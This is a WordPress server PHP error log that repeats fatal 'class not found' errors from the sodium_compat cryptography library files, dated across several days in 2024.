[24-Mar-2024 12:10:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[24-Mar-2024 12:10:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[24-Mar-2024 12:10:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[24-Mar-2024 12:10:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[24-Mar-2024 12:10:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[24-Mar-2024 12:10:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[24-Mar-2024 12:10:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[24-Mar-2024 12:10:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Sep-2024 22:08:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Sep-2024 22:08:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Sep-2024 22:08:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Sep-2024 22:08:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Sep-2024 22:08:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Sep-2024 22:08:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Sep-2024 22:08:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Sep-2024 22:08:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Sep-2024 22:08:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Sep-2024 22:08:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Sep-2024 22:08:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Sep-2024 22:08:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Sep-2024 22:08:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[02-Sep-2024 22:08:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[02-Sep-2024 22:08:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Sep-2024 22:08:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Sep-2024 22:09:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Sep-2024 22:09:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Sep-2024 22:09:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Sep-2024 22:09:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Sep-2024 22:09:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[02-Sep-2024 22:09:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[02-Sep-2024 22:09:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Sep-2024 22:09:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Sep-2024 22:09:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Sep-2024 22:09:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Sep-2024 22:14:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Sep-2024 22:14:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Sep-2024 22:14:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Sep-2024 22:14:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Sep-2024 22:14:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Sep-2024 22:14:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Sep-2024 22:15:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Sep-2024 22:15:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[02-Sep-2024 22:15:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Sep-2024 22:15:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Sep-2024 22:15:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Sep-2024 22:15:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Sep-2024 22:15:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[02-Sep-2024 22:15:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[02-Sep-2024 22:15:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Sep-2024 22:15:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Sep-2024 22:15:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Sep-2024 22:15:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Sep-2024 22:15:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Sep-2024 22:15:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Sep-2024 22:15:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[02-Sep-2024 22:15:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[02-Sep-2024 22:15:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Sep-2024 22:15:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Sep-2024 22:15:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Sep-2024 22:15:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[19-Sep-2024 20:20:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[19-Sep-2024 20:21:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[19-Sep-2024 20:21:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[19-Sep-2024 20:21:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[19-Sep-2024 20:21:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[19-Sep-2024 20:21:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[19-Sep-2024 20:21:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[19-Sep-2024 20:21:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[19-Sep-2024 20:21:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[19-Sep-2024 20:21:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[19-Sep-2024 20:21:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[19-Sep-2024 20:21:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[19-Sep-2024 20:21:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[10-Nov-2024 10:34:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[10-Nov-2024 10:34:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[10-Nov-2024 10:35:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[10-Nov-2024 10:35:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[10-Nov-2024 10:35:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[10-Nov-2024 10:36:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[10-Nov-2024 10:36:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[10-Nov-2024 10:36:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[10-Nov-2024 10:36:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[10-Nov-2024 10:37:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[10-Nov-2024 10:37:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[10-Nov-2024 10:37:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[10-Nov-2024 10:37:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
